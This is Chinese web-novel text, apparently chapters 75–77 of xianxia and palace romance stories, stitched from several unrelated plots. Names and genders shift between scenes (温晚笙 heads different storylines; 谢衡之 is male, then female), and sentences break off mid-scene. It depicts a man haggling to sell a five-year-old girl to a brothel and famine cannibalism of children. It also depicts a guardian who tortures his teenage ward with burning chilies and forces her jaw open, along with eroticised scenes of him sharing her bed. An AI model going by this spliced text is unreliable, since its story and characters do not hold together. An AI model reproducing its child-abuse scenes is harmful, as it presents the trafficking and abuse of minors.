因京城进出检查严格,像杨元兴这般没有亲眷在京的外乡人更是重点审查对象,哪怕是顺利入京了,前三日住店都要出示身份竹签。 杨元兴这一路都不曾亏待过自己,入京后也不曾收敛,早早定好客栈住进去。 暗卫找到他时,他正跟店里的小二打听:“不知京城里可有什么有名的花楼?或者是那种买女童出价高的,我带了家里的女童来……” 听着暗卫一字不差的复述,时序没能忍住,啪一声拍在桌子上:“畜生!” 就在昨天晚上,他对杨元兴还有两分故人的惆怅,但这点惆怅在听了温晚笙的告状后,只要一想到妻子和女儿在杨家的遭遇,他对杨元兴就只剩下痛恨了。 经过温晚笙昨晚的一番哭诉,时序对她的身份已有了八分肯定,这最后一点,待见过杨元兴也能见到分晓。 莫说温晚笙十之八九就是他的女儿,哪怕只是一个萍水相逢的小孩,他也看不惯杨元兴的做派。 “人在何处?” “暂时押在后院的柴房里,主子若要审讯,属下这便将人带去司礼监暗牢。” 时序冷笑一声:“不用,只管将府上有的刑具拿来就够了。” 只希望他这久违的小舅子能坚强些,莫要连一轮刑罚都熬不过去,白瞎了他给温晚笙出气的心。 望着时序满身的煞气,暗卫屏息,默默将自己珍藏的一套银针添到刑具中去。 一双眼微微红肿,眼下一圈淡青,像是连日未曾安眠。 下了学,温晚笙放心不下,陪着好友慢慢往寝舍走。 怎料刚至无人处,谢令仪未语,眼眶便先一步红透。 温晚笙心头也跟着一紧,“令仪,可以跟我说说,发生什么了吗?” 谢令仪吸了吸鼻子,“温姐姐,兄长兄长他” “别急,慢慢说。”温晚笙握住她冰凉的手,轻声宽慰。 “温姐姐可知”谢令仪深吸一口气,泪水却先一步滚了下来,“兄长他,拒了圣上亲指的婚事。” 温晚笙点了点头,“我听说了。” “圣上命兄长道出自己的心上人,以便另行指婚,可兄长” 第 75 章 第 75 章 谢令仪言简意赅,却字字惊心。 谢衡之刚刚端了潜伏在楚国的奸细据点,立下大功,转眼却被一纸调令,派往郦国。 这其中的凶险,不知几何。 朝中明眼人都看得出,这哪里是委以重任,分明是变相的流放与惩戒。 皇帝只道,他年轻有为,无牵无挂,干这个正合适。什么时候他要成家了,什么时候就能回来。 言下之意昭然若揭:若他肯应下与公主的婚事,眼前困局自当迎刃而解。 原本被派往他国,并非什么危险的事,可楚郦两国疆界常年剑拔弩张,而谢衡之又是那位亲手揭出奸细名册之人。 太阳落山了,最后一丝余晖消失,笼罩在仙女身上的金色圣光也熄灭了,温晚笙的脸上恍若凝结了一层薄薄的霜,她的皮肤苍白到几乎透明,带着一股森森鬼气,像一缕随时会消散的幽魂。 沉默许久,她抖动了一下手中的那枝桃花,开口说道:“我会把这枝桃花放在我的床头瓷瓶里,明日太阳落山之前你若能在仙居殿找到这枝桃花亲手交给我,我就会考虑你的提议。” 真是一个棘手的考验。 她正用这个考验来衡量她们是否具有与她结盟的资格。 温晚笙拿着花枝走远了。灯花突然摇晃了一下,一个声音在温晚笙背后响起:“怎么就点一支蜡烛?” 一阵朦胧清冷的月桂香气幽幽传来,温晚笙的鼻子动了动,有些恼怒地说道:“你拿了我的月桂香包?” 温晚笙小时候和外婆一起住,外婆家在乡下,街道两旁种满了桂花树,每当桂花盛开的时候,桂花香会都会随着风飘到很远很远的地方。 那味道太美好了,温晚笙睡觉的时候都舍不得关窗,她闻着桂香入睡,整个童年都是桂花的香气。 深秋的时候,外婆会将桂花风干,用废弃的蚊帐做成香袋挂在她的窗前,有时候一开窗,秋夜的寒意伴着幽幽的桂花香飘满整个屋子,她坐在窗台上,半个身子探出窗外,目光掠过院子,去看门前的月光下的桂树,有时候没有月亮,她就一颗一颗数着天上的星星。 穿书之后,“家”对于她而言已经是一个不存在的地方了。 温晚笙离家上大学的时候,在微博上看过一句话。 往往无助的时候,脑子里就蹦出一句“想回家”,但又好像不是真的、现实中真正的家,而是一个臆想中安全的自在的,没有痛苦和烦恼的地方,可能是一个场景,可能是一种情绪,也可能是一种气味和触觉。 刚做好的月桂香包,还来得及挂在窗子前就被月扶疏堂而皇之的拿走了。 温晚笙气得几乎说不出话来,干脆拿着烛台朝着月扶疏狠狠扔过去。 月扶疏稳稳地接住了烛台,上面的蜡烛却摔在地上,火苗闪烁了两下就熄灭了,室内一片黑暗,只有幽幽月光从窗子那洒进来。 室内静默了片刻,月扶疏说道:“不就是一点小心思又被我发现了么,也值得你动这么大的怒。” “什么小心思?”温晚笙开口问道。 月扶疏没答她的话,带着一身月桂香气绕过屏风躺在床榻上,声音柔和:“小太岁,你该歇息了。” 温晚笙闭上眼,最终还是绕过屏风躺在床榻上。 倒不是他们师徒二人有什么不可言说的关系,温晚笙对于月扶疏而言,只是一味世间仅此一株的稀世奇药。 他恨不得日夜守护,不叫这株稀世奇珍离他半步。 两人同床共枕有七年了,温晚笙十岁那年从地宫出来后就一直跟他睡在一张床榻上,十四岁那年来了葵水,她剧痛难忍无法起身,是月扶疏帮她换的月事带。 都说医者眼中无男女,温晚笙也知道她在月扶疏眼中算不上“人”,可这并不妨碍月扶疏在温晚笙眼中是个实实在在的变态。 每晚和变态同床共枕,她的心情可想而知。 桂花的香气并不是一成不变的,天气冷的时候,桂花香清新冷冽,天气一暖味道就变得暖洋洋甜滋滋的。 而这桂花香到了月扶疏身上,就变成了广寒宫里的月桂树,不仅冷冽,还带着几分高不可攀的味道。 回到玉笙居,将今天的事和谢衡之一说,谢衡之微微变了脸色。 广寒宫守卫森严,而仙居殿作为月扶疏和温晚笙的住所,更是有两名天人境的暗中护卫。 谢衡之拿着剑在走来走去,一脸正色:“你身上的毒不能等,既然有希望,就要尽力试试。” 她提着剑就要往外走,裴怀璟急忙拉住她,哭笑不得地说道:“你还没到天人境呢,况且你内伤严重,实力只有从前的三分之一。” 谢衡之叹了一声:“不成功便成仁,何况我身上有蛊虫,若是一直没解药也活不了多久了。” 与其在蛊虫的噬咬下痛苦死去,还不如豁出性命给裴怀璟挣个机会。 裴怀璟拍了拍她的肩膀:“阿雪,别这么悲观,就算是镶边女炮灰,我们也一步一步走到了现在,就算我们不是主角,不是被命运偏爱的人,但我们也有自己的机缘和小幸运啊。” 谢衡之鼻子一酸,眼泪顿时止不住了,一颗泪珠从眼眶里掉落下来,砸在她手中的细雪剑上。 “裴怀璟,我一直觉得,能在这个世界与你重逢,就是我最大的机缘和幸运了。” 月扶疏也正有此意,于是带着温晚笙离开广寒宫,去了悬崖边的一个亭子里。 这亭子是他看日落日出用的,建造得十分豪华,四周有雪白纱幔,长度垂地,边角坠着装满防虫草药的银熏球,既可以增加重量不让沙幔被风吹走,又可以防蚊防虫。 崖边风大,垂下的纱幔正好挡风,亭子中央摆了一盘棋,温晚笙看了两眼就移开了目光,意兴阑珊地坐在亭子里的贵妃榻上,透过纱幔去看天上的星子。 过了一会,有两个模样俏丽的侍女送来了一床被褥和一个软枕,在贵妃榻上将这些铺好就告退了。 温晚笙脱下鞋袜,抱着被子一角躺在贵妃榻上,她心中有事,躺了一会还是没有睡意,就翻身从贵妃塌下的抽屉里拿出了一本医术翻看起来。 书中世界里的古人虽然不缠足,但脚也是女子极为私密的部位,身为现代人的温晚笙却没这个意识,每到夏天就不想穿袜子。 她在地宫那些年已经练出了黑暗中视物的能力,也不用点蜡烛,倚着贵妃榻翻看着手里的书,她身上穿着件白色小褂,一双脚踩在藕粉色的丝绸被面上,月扶疏的目光在她雪白的脚背上顿了顿,继而又迅速移开,在棋盘上独自对弈。 这一晚很快过去了,天蒙蒙亮时温晚笙在贵妃榻上醒来,静候在外的侍女们端上洗漱的热水和早膳,月扶疏问她:“昨晚睡得好吗?” 温晚笙吃了口银丝卷,“夜里有点冷。” 羽重雪是个低调的人,这次来碧海潮生并没有弄出太大动静。 他曾经也年少轻狂过,在被谢衡之忽视的那段岁月里,他就像一只不甘的雄鸟,疯狂展示身上的漂亮羽毛。 如果说权势是一个男人身上最好的点缀,那么谢衡之对此一定是不屑一顾的。 因为他的所有轻狂,他刻意在谢衡之面前所展示的一切,最终只收获了谢衡之看傻子似的目光。 她似乎意识不到眼前的这个小师弟有多么尊贵崇高的身份,只把他当成一个惹人厌的少年。 又或者,他的尊贵身份对她来说只是一种奇耻大辱,时刻提醒着她:就算你武功再高又怎么样,还不是奴才和奴才生下来的小奴才。 所以他的师姐谢衡之、那个百年难遇的剑道天才、一舞剑器动四方的天之骄女,她和她的剑一样孤傲,势必要用他的鲜血洗刷掉这份耻辱。 羽重雪下了船,他穿得也朴素,一身仙鹤祥云纹雪青袍子加一件黑色鎏金披风,额前戴了个雪青色流云抹额,配饰仅有腰间的一把剑,环佩和香囊都没有佩戴。 他原本是一个性喜奢靡的人,喜爱穿辉煌艳烈之色。鉴于姚蓉蓉对女主的讨厌程度,裴怀璟说道:“蓉蓉啊,你也知道我干得都是一些不光彩的活。” 姚蓉蓉似懂非懂:“呃,你是下地干活的,我知道,可是你们为什么要有一个孩子?” 裴怀璟:“实话告诉你吧,我掘过羽落清祖坟,羽落清和羽重雪是一家人,掘羽落清祖坟也是掘了羽重雪祖坟,。 姚蓉蓉倒吸冷气。裴怀璟的嘴唇贴着谢衡之的耳朵,悄声说道:“把姚蓉蓉打晕拖走?” 谢衡之在她胳膊上拧了一把:“都什么时候了,你还在这贫。” 裴怀璟说道:“不如等她们快要丹成的时候,我偷偷把丹炉毁了?” 谢衡之:“你怎么毁?” 裴怀璟:“我尸毒发作得了失心疯,如行尸走肉一般闯进丹场阴暗爬行并伴着诡异嘶吼,然后左一拳右一拳,对两位如花少女的炼丹炉大打出手。” 谢衡之:“” 她抬手往某个方向指了指,“你看那是什么?” 裴怀璟仰头看了看:“蓝天,白云。” 谢衡之:“你再仔细看看。” 裴怀璟又仰头看了看:“很蓝的蓝天,和两朵很像小怪兽的白云。” 裴怀璟:“所以我要和阿雪假扮成夫妻掩人耳目,伪装成一个爱妻如命的男人。” 姚蓉蓉试图理解:“可我还是不懂。” 裴怀璟开始忽悠小姑娘:“蓉蓉啊你想一想,哪个老婆怀孕的男人会干出掘人祖坟的事,退一万步说,都快老婆孩子热炕头了,谁还下地干这种刀口舔血活,多多少少得留条命,好歹得给孩子积点阴德,这不就洗清我的嫌疑了么!” 姚蓉蓉终于懂了。衣衫褴褛的老人走在干涸的黄土坡上,疯疯癫癫地吹着笛子,哭哭笑笑,边吹边唱。 逃荒的人形成了一列望不到尽头的队伍,风卷起漫漫黄土,隐约传来的几声孩童啼哭都是有气无力的。 裴怀璟走在逃荒的队伍里,听着那疯疯癫癫的老人又哭又笑地吟诗,她饿得双目发昏,身子是沉重的,卖出的脚步却轻飘飘的。 两把剔骨刀被她揣在怀里,多亏了这两把剔骨刀,她才没有沦为别人的食物,这一路上,她已经杀了两个饥不择食的人了。 那个衣衫褴褛的老疯子步伐歪斜地走在她身后,她舔了舔干裂的嘴唇,她在极度饥饿下连话都不想说,呼吸都觉得费力气,这老头却还有力气鬼哭狼嚎地吟诗。 日头正中午,逃荒的队伍停下了。 裴怀璟找了个土坡倚着,衣袖下的手握住了腰间的剔骨刀,随时警惕着。 前面又有两户逃荒的人家架起了铁锅,各自交换了孩子,两三岁的孩子饿得连哭得力气都没了,瘦骨伶仃呆呆地被按在地上,男人手中的剔骨刀磨得锃亮,铁锅底下堆着木柴正在往外冒着青烟。 剔骨刀被人高高挥起,继而重重落下。 一声令人毛骨悚然的钝响后,热腾腾的血喷出来很远,溅湿了裴怀璟的草鞋。 这小姑娘很热心肠,特意拆了一床被子,掏出被芯里雪白的棉花,又从被面上剪下一块布,亲手给谢衡之做了个假肚子。 “这样等你月份大了就不用塞衣服了,等你开始显怀的时候,就往里面加点棉花,以后我有空再做个水牛皮的给你,往里面灌满水,再用树胶粘合,摸上去就和真的孕肚一样。” 她缝好假肚子,还伸手拍了拍,兴致勃勃地问她们:“你们给孩子起名字了吗,我看就叫小棉花吧!” 裴怀璟笑得前仰后合:“棉花做得孩子,可不是得叫小棉花。” 她看向谢衡之,谢衡之捂着肚子说道:“挺好的,小名小棉花,大名商棉。” 她俩默契击掌,达成共识。 学剑那些年和谢衡之朝夕相处,不知不觉也学了几分谢衡之的朴素和节俭,衣食住行不再奢靡无度,服饰的颜色也变得素净淡雅起来。 月扶疏派了大弟子温之声和二弟子金焕来迎接他。 温之声白衣,金焕也白衣,还有一旁的羽落清也是白衣。 羽重雪心里轻嗤一声,月扶疏的弟子别的没学到,只学会穿白衣了。 羽重雪旧伤未遇,神色疲懒,身后的一行人跟在他身后下了船。 月扶疏笑了:“你总踹被子,刚给你盖好,你就又踹下去。” 温晚笙问他:“你在和我邀功吗?我好像也没有什么可以奖赏你的。” 月扶疏神色无奈。 用完早膳,两人回到了广寒宫,风中仍有飘散的恶臭,温晚笙捂着鼻子走进仙居殿,发现长颈瓷瓶里的那枝桃花不见了。 “对呀,你是郦国人吧。” “二小姐想去?” “我是问你。” 少年忽然攥下她的手腕,眼里一点旖旎都无,“二小姐想去找人?” “啊?”温晚笙隐隐感觉身下传来异样。 “你想去找谢衡之?” 第 76 章 第 76 章 刚才亲着亲着,温晚笙被他捞到了腿上。 此刻她跨坐着,却浑然未觉这个姿势有多不妥。 “裴怀璟。”她声音冷下来,“我可以看看,你脑袋里装了些什么吗?” 少年周身那抹将起未起的戾气,有了一瞬突兀的顿凝。她竟为了别人,要撬开他的脑袋。 他缓了缓,唇畔慢慢弯起一道弧,连眼尾都跟着挑起三分,“二小姐动手之前,不妨让我死个明白。” “二小姐当真要往郦国去寻他?”他的声线不疾不徐。 温晚笙迎着他那几乎能噬人的目光,连一丝畏惧都生不出来,只有浓浓的无奈。 “裴怀璟,我求你正常点。”她双手捧住他那张好看得过分的脸,深深吸了一口气,“别再逼我发火了。” 少年想扯出一个更讽刺的笑,嘴角却因为被捏着,半分也扬不起来,只能僵硬地抿着。 温晚笙一整晚都在昏睡,身上的温度高得吓人。 戚海棠留在仙居殿照顾她,时不时解开她的衣衫,拿着帕子蘸着冰水给她滚烫的身体降温。 阳无尘煎好了药,用冰块冰镇凉透后才给温晚笙喂下,当戚海棠撬开温晚笙的牙关喂药时,发现她的口腔里全是血水,喉咙也被灯笼椒烧坏了,怕是好多天不能说话。 阳无尘顶着一张花猫脸叹气,低声唠叨着:“怎么就这么倔呀,知道你心里苦,知道你心里怨气深,可岛主的身份贵不可言 ,你怎么能顶撞他呢,俗话说胳膊拧不过大腿,又是何必给自己找罪受。” 戚海棠听着他的念叨,趁着月扶疏不在,小声说道:“小太岁医毒双绝,也知道自己没几年时间了,才十七岁的小姑娘,心里哪能没怨气。” 阳无尘很是心疼:“正因为没几年时间才要好好过日子,成了真正的毒太岁,那就是一坨活着的肉灵芝,哪知道苦和甜。” 戚海棠白了他一眼:“你这话敢当小太岁的面说吗?也就趁她昏迷不醒敢跟我唠叨几句。” 阳无尘:“我可不想给小姑娘心理添堵。” 戚海棠叹了口气:“岛主这几年已经很少给她喂毒了,估计也是存了些恻隐之心吧。” 她伸出涂了红蔻丹的手,轻轻地抚摸着少女娇嫩的脸颊,越看心中越怜爱,“当真是冰肌玉骨啊,别的女子与她一比都是肉|体凡胎,我活了这么多年,从没见过这么漂亮的姑娘,若我是岛主,还追求什么长生,早就和这样的绝世佳人双宿双飞了。” “咱们岛主真是心如铁石,与她朝夕相对这么多年,雨眠竟然还是完璧之身。” 阳无尘说道:“在别人眼里,她是个活色生香的姑娘,在岛主眼里,她只是一株人形的药材。” 后半夜,温晚笙的体温终于降了下去。 戚海棠和阳无尘离开了仙居殿,两人还是不放心温晚笙,并没有出广寒宫,一起去百花堂歇着了。 他们两人一走,仙居殿只剩下月扶疏的气息,温晚笙又睡不安稳了。 月扶疏亲自煎了一碗药回来,也用冰块冰镇好了才给温晚笙喂下去。 阳无尘和戚海棠给她喂药的时候还是乖乖的,轮到月扶疏给她喂药,她就下意识地挣扎躲避,死死地咬住下唇不肯松口。 眼看着下唇已经被牙齿咬出血,月扶疏只好卸掉了她的下颌关节,小心地把药喂了进去,一碗药喂完又将她的下颌复位,拿着帕子给她擦了擦嘴。 只余一双眼,漆黑幽深,一转不转地盯着她看,执拗地等她答复。 温晚笙看了会儿他精致的五官,气才终于消了点。 “我没有要去找谁。”她捺着性子揉按他的脸,一字一字咬得清楚,“而且,刚才是我先问的!” 她说着,身体向前倾了倾,少年的躯体被她压得深深陷进薄被里。 “这么急着转移话题,你是不是心里有鬼?” 其实那个问题的答案,她早就就知道了。 他委曲求全跟她在一起,就是为了逃出皇宫,回到郦国。 如果能直接回国,他还和她成亲做什么。 她越想,越觉得这一切索然无味。 不知道为什么,竟还悄然滋生出一点点令她措手不及的难过。 当仙居殿的侍女来药宫拿灯笼辣椒的时候,药宫宫主戚海棠立马知道事情不妙了。 当年温晚笙在地宫当药童时,是戚海棠和阳无尘将她一手带大的。 当年只有五岁的女童被毒药折磨得满脸淤紫,戚海棠身为女子,到底动了些恻隐之心,抱着她来阳无尘这里配药。 后来这小丫头待在阳无尘的地宫书房里,看遍了他所有医书后,阳无尘不禁起了爱才之心,传授她炼丹术。 温晚笙的医术和药理知识,一半来自月扶疏,另一半来自阳无尘和戚海棠。 经年累月,要说没有感情那绝对是不可能的。 戚海棠急急忙忙去丹宫找阳无尘。 阳无尘又急急忙忙跑到山崖边的揽月亭。 两人赶来时,温晚笙已经昏迷不醒了。 她的皮肤本来像幽灵一样苍白,此刻却蔓延开层层叠叠深深浅浅的潮红。 少女的脸庞和睫毛一片濡湿,不知是泪水还是汗水,额头和鬓边的碎发凌乱地贴在脸颊上,即使在昏迷中,脸上的表情也极为痛苦。 月扶疏把她抱在怀里,两个侍女正撬开温晚笙的牙关给她喂冰水。 喂了几口冰水下去,月扶疏这才抽空看了他们两个一眼,声音有些暗哑:“你们两个怎么过来了?” 戚海棠是个有着成熟风韵的美艳女人,她穿着一身桃红衣衫,妖娆的脸上此刻尽是心疼。 “岛主,这灯笼椒是驯兽用的,小女儿家娇滴滴的,怎么能给小太岁吃这个呢。” 阳无尘从药箱里掏出一颗雪白丹丸,让侍女放进温晚笙嘴里含着。 这颗丹丸的味道温晚笙已经很熟悉了。 这是麻痹痛觉的冷雪丹,经过温晚笙的多次改良,含在嘴里的味道和旺仔奶糖一模一样。 也算是苦中一点甜吧。 这样一通折腾,昏迷的温晚笙又被弄回了仙居殿。 好在百花堂的茅厕已经修好了,仙居殿依旧是芳草满殿,一室幽香。 阳无尘去药房煎药,戚海棠把帕子放在冰水中浸湿给温晚笙擦汗。 她虽然闭着眼,但泪水却时不时从紧闭的眼中滚落下来,像条小溪似的顺着太阳穴流淌下来。 戚海棠心中难过,“傻丫头,你一个小女孩,脾气怎么这么倔干什么?” 她又把帕子放在冰水中浸湿,喃喃说道:“忍一时风平浪静,退一步海阔天空,吃过那么苦,怎么还是不长记性。” “你的时间也没剩几年了,不好好享受生活,怎么还给自己找不痛快。” 说着说着,戚海棠突然眼眶一酸,垂眸看着温晚笙。 多么漂亮的一个小姑娘,可偏偏成了毒太岁。 她日日食用天下剧毒之物,再过三年五载,脑部受毒药侵蚀,人虽还能活着,也只是眨眼和呼吸而已,意识却没有了。 这么个如花似玉,天赋卓绝,又这么年轻的小姑娘啊。 温晚笙昨晚就被问得受不了了,现在几乎是凭本能反应,飞速摇头。 “只是出于对先生的关心好不好!”她声音拔高了几分,“而且,他妹妹是我的好朋友。” 段冲笑容像雨霁云开,“胆子真大,又敢凶表哥。” 温晚笙鼓了鼓腮帮子,恶狠狠地吃了口被遗忘的糖葫芦。 与其问他,好像还不如想办法入宫问女主,或者皇后。 段冲好笑地看着她吃完,“还要不要,表哥再给你买一串。” “不要!” 龙舟竞渡到了最酣处,鼓声如雷,两岸欢呼震天。段冲看了会儿,忽然开了口。 “一个未婚妻,救不了他。”他的声音沉下来,难得严肃,“表妹可千万别乱来。” 真巧,温晚笙也擅长把两件毫不相干的事情扯到一起掩盖她的真正目的。 温晚笙微笑着说道:“你知道的。” 月扶疏的声音冷冷的:“我知道什么?” 她的眼眸里一派天真,声音柔柔的:“因为我真得好奇,明明是同样年纪,为什么你不和姚蓉蓉睡一张床上,她也长得也很漂亮啊。” 师徒二人大被同床,放眼整本书都是悖德乱/伦之事。 月扶疏脸色变得难看起来,“姚蓉蓉和你不一样,你是小太岁。”他冷声说道。 温晚笙仍是笑眯眯的:“真的么?我不信。” 她紫色的眼睛里闪烁着一种恶毒的光芒,对月扶疏说道:“我觉得姚蓉蓉也和我一样,羽落清也和我一样,你就是对年轻漂亮的小女孩怀着不可告人的心思,就喜欢和她们睡一张床。” “下一个躺在你床上的女孩是谁?让我猜猜,应该是羽落清吧,她好像比姚蓉蓉漂亮一点。” “以你这龌龊的本性,说不定还会再收几个漂亮的女徒弟,到时候大被同床夜御十女,搞不好还没长生呢,就先死于马上风了。” “眠儿,出言不逊也要有个限度。”月扶疏说道。 他身居高位,别人在他面前莫不是卑躬屈膝小心说话,被温晚笙这样指着鼻子骂,再是纵容温晚笙,此刻脸色也沉了下来。 他白衣飘飘,恍如乘风而来的天人,是在现代社会的强大妆造下也看不到的仙姿绝色。 温晚笙每次看他,都能被他这副道貌岸然的样子恶心到。 她知道自己势单力薄,和月扶疏正面硬刚一定会吃亏,至少今天一定会为此刻的出言不逊受到惩罚。 用晚膳时,侍女端上了一盘灯笼椒。 灯笼椒的形状像个通红的小灯笼,很是玲珑可爱,整整齐齐地摆了一盘。月扶疏坐在桌前看着她,屈尊降贵地给温晚笙倒了一杯水。 温晚笙看着那盘灯笼椒,知道这是她出言不逊的惩罚,沉默地捡起一个放进嘴里。 辣是一种痛觉。 仅仅只是嚼了两下,温晚笙就控制不住生理反应,泪水哗哗而下,瞬息间就淌了满脸。 她已经在一次又一次的惩罚中积累了丰富的经验。 这种辣椒是用来驯兽的,也经常用来驯服一些难以管教的毒物。 灯笼椒多放嘴里咀嚼一会都是酷刑,但凡皮肉沾了一点都会起水泡,更别提脆弱的黏/膜,一定要迅速咽下去才能减少疼痛和伤害。 刚咽下一个,喉咙火辣辣疼,像是有人把一杯沸水灌进了她的嗓子里。 口腔中的黏|膜仿佛着了火,温晚笙的视线在剧烈的灼痛中变得模糊了,眼泪一滴接着滴一滴地滚落下来。 朦胧的视线中,是月扶疏面无表情的脸,如一轮浸入水中的皓月。 一盘灯笼椒椒,一共十二个。 温晚笙吃完最后一个灯笼椒,一身的衣衫都被汗水浸透了,她眼前发黑,口腔、喉咙、胃部、头部一阵阵剧痛。 但这并不是最可怕的。 当温晚笙视线发黑,眼前出现一片旋转着的螺旋形状的七彩光芒时。 让人生不如死的神经痛终于来了。 “什么意思?” 恰在这时,一名亲卫匆匆赶来,神色紧绷,俯身凑到段冲耳边低语了几句。 那片刻间,少年的眉峰倏然收紧。 待人走后,他才又扬起笑,叮嘱道:“表妹切莫乱来,他好着呢,不需要你救。” “额…好吧。” “我派人送你回去。” “咳咳,不用了。”温晚笙瞥了不远处一眼,“我等下自己回去,表哥你自己小心。” “行,别乱来啊!” 温晚笙望着他被人潮渐渐吞没的背影,挠了挠头。 她能乱来什么呢。 第 77 章 第 77 章 “人多,别闹。” 温晚笙一把用弓推开了少年的脸,声音压得跟做贼似的。 “同样是在射圃。”裴怀璟闷闷地举起弓,对准靶心,“为何二小姐那时能,如今却不能?” 幽幽的嗓音擦过耳畔。 温晚笙没忍住瞥他一眼。 日光铺落,顺着少年眉骨的弧度滑下,淌过挺拔的鼻梁,最后凝在他薄薄的唇上。 是夜,两道鬼鬼祟祟的身影进到客栈中。 杨元光将后面的人引进屋里,忍不住又出门往左右看了看,确定没人瞧见,这才赶紧回屋合紧房门。 而在这一会儿功夫里,早一步进屋的婆子已走到了床边,借着微弱的烛光打量起卧在地上的温晚笙来。 婆子弯腰瞧了半天,眼中闪过一抹不满:“这就是你说还算水灵的女娃?”黎安在跟着黑袍人的脚步迈过岩洞的入口,挂了盏风灯,里面燃的好像是鱼油制成的蜡,晕开一片红光。 经过窄道后别有洞天。 黎安在抬起头,刚好可以在入口地势稍高的地方,纵观整个鬼市子的地貌。 “哇……”黎安在呆呆地张大嘴巴,发出感叹。 地下岩洞被开凿得整齐,地面上铺上了纵横交错的石板路,石板路两侧,就是交易的市集。 有用木板贴着岩壁搭起来的小屋子,上面挂着以物易物典当行的牌匾,也有人撑了根竹竿,铺开一张污渍斑斑的油布,将要卖的东西一字排开,也算是个摊位。 就这样,各种由商贾自行在鬼市子搭建起的乌棚、石舍、木屋、台布与矮桌、小摊交相掩映,配合石板路联通交错,竟在这地下岩洞中,形成了街巷一般的奇景。 每一家正营业的商铺门口都挂上红灯笼,屋内点着烛台照亮。没有屋子的野摊位,就插着火折子。 鬼市子不似想象中的波涛诡谲,反而意外的热闹,人声鼎沸,吵吵闹闹的。火把光和红灯笼光将矿洞内照亮,红色的光晕染开来,将气氛衬得幽气森森。 除了光线更加阴森些、交易的商贾和买家都更加警惕些、货物更加稀有难得些,其他的,更平常普通集市的样子也没什么区别。 黎安在不住地仰头张望:“哇……好漂亮的灯笼……” “哇……”这个摊子上摆满了锈迹斑斑的古剑。 “哇……” 燕歧在路上缓步走着,听取耳边哇声一片,不禁扶额,无声轻笑。 黎安在哇够了,回头看向始终陪在他身边的黑袍人,有些不好意思:“大侠,您若是有事,可以先去忙。” “无妨,我常来。”燕歧说,“你应当是第一次来鬼市子?想买些什么,我可以带你逛逛,熟悉一下。” 他还想同黎安在多待一会儿。 黎安在哪敢说自己想买暗器和毒药,他虽然觉得黑袍人是好人,但若是一不留神被对方察觉到刺客的身份,反手将他报官了怎么办? 师姐说他如同一张白纸一般,心思单纯,心里想的什么,都会表现在神情和声音里,在没有准备的情况下,实在不太适合说谎。 所以要他出门在外需谨慎,不要轻易做些暴露身份的事情。 黎安在连忙摆摆手:“啊……我就是好奇,来鬼市子见识见识,没什么想买的。您已经帮了我许多,就不再耽误您的时间了。” 黑袍人没有立刻说话,只是安静地站在他面前。 虽然被兜帽遮掩,但黎安在能感觉到,对方正在注视他,视线一瞬不瞬地落在他的脸上。 不禁令黎安在有些紧张,他双手绞在一起,又喊了一声:“大侠?” 燕歧看出来黎安在局促不安的样子,虽然不情愿,但他不想看到安安为难,于是点点头:“好,那我先去忙了。” 刚准备要走,还是有些不放心,嘱咐道:“你初来乍到,要谨慎。若喜欢什么,只看着便是,不要上手触碰,也不要接过店老板或摊主递给你的东西。” “嗯嗯!”黎安在感动得一塌糊涂,仰头抬手,拍了拍胸口,说,“玉不过手的道理嘛,我懂,感谢大侠提醒!” 燕歧最后看了一眼黎安在,深吸一口气,转头离开。 黎安在不知为何,心里忽然一紧,他下意识上前一步,小心地扯住那黑袍人的一片衣角。 力道很轻,但燕歧整个人却立刻顿住,他微微偏头,看见黎安在正用指尖捻着黑袍,依依不舍的样子。 燕歧瞬间心情大好。 “怎么了?”他轻快地问。 黎安在感觉脸一下子就热了,尴尬极了,他不知道自己为什么上前拽住黑袍人,一时间没想到理由,支支吾吾半天,没说出话来。 燕歧一点都不急,他静静地等待着黎安在开口。 “我……您……”黎安在鼓起勇气,硬着头皮问道,“您下次哪日来鬼市子,可否那时再同行?” 燕歧微微一愣,意外之喜,令他嘴角有些不经意地上扬,思索片刻,用平静的声音说:“那便八月廿一,如何?” 杨元兴心头一紧,三两步赶上前来:“陈妈妈这说得哪里话,咱们庄稼汉养出来的女娃,能有这颜色已是难得哩!要不是家里实在过不下去,我也不能舍得把姑娘卖出去……” 他装模作样地抹了一把脸,恭维道:“我这几番打听,听说这瑞城的大小楼里,属陈妈妈的醒春楼待姑娘们最上心,咱家里虽养不起孩子,可也想给她寻摸个好去处,往后若能在妈妈手下吃饱饭,咱也不亏心了。” 陈妈妈被他念得很是舒坦,连眉眼都舒展了几分:“算你会说话,既然如此,我也不好叫你失望了去,三两银子,我把人带走,可成?” “三两——”杨元兴一惊,不觉拔高了声音。 陈妈妈被他吓了一跳,下意识往温晚笙那里看去:“你叫嚷什么!一会儿把女娃给叫嚷醒了怎么办!” 虽说孩子醒着睡着都不耽搁她买卖,但她今天出门没带人,要是孩子被吵醒闹腾起来,还要费精力制服,她最烦这些琐碎事。 杨元兴面有急色,浑不在意道:“醒不了醒不了,这赔钱……这娃子生着病,夜里一向睡得死,便是在她耳边嚷嚷也醒不过来,不信妈妈您瞧——” 说着,他抬脚在温晚笙身侧踢了踢。 如他所言,温晚笙只是呢喃两声,翻身将头埋进被子里,很快又睡过去。 陈妈妈这才放下心来。 只是经杨元兴这么一吓,她没了先前的好脸色:“三两怎么了?亏你把女娃夸得天花乱坠,这一看也不过如此!依我说连三两都是多给了,要不是不想白瞎我跟你跑的这一趟,我才不要你家娃儿!” “就三两,成不成?” “陈妈妈咱再商量商量……”杨元兴自是不依。 要是换做在老家,莫说三两银子,就是再少点他也能应。 然他从老家奔波来到瑞城,就算不论来时的花销,光是他回去,也非三两银子能够的,赔钱货再怎么不值钱,总要给他赚足盘缠吧? “陈妈妈您再添点,您看孩子还小,身子还没长开,便是颜色也只能瞧个囫囵,您带回去养个三五年,长大了就好看了!就说她娘、她娘可是我们十里八村公认的好模样,她女儿长大一定也不差!” 陈妈妈被他说得心动,嘴唇抿了抿:“那就四两,再多就不成了。” “四——”杨元兴拱手作揖,“陈妈妈行行好,可再多添一点吧!” 这一回,陈妈妈也不依了。 到底只是个五岁的小丫头,等能接客少说还要七八年,哪怕年纪小时能给其他姑娘做个婢子,也是远抵不上供给她们的吃用的。 万一等小孩长大了模样一般,那就是彻底砸在了手里。 陈妈妈不肯再多给钱,见杨元兴往前纠缠,嫌恶地挥起帕子,声音尖锐道:“那我就不要了!四两银子都不成,还真当你家丫头是什么国色天香?” “去去去,癞皮狗别在前头挡道!” 陈妈妈掩面离开,杨元兴在片刻的怔愣后,急急忙忙追上去,房门被匆忙带上,发出猛一撞击声。 随着房外的脚步声渐渐远去,却见脚踏上的一团颤了又颤,终是控制不住的发出急促的喘息来。 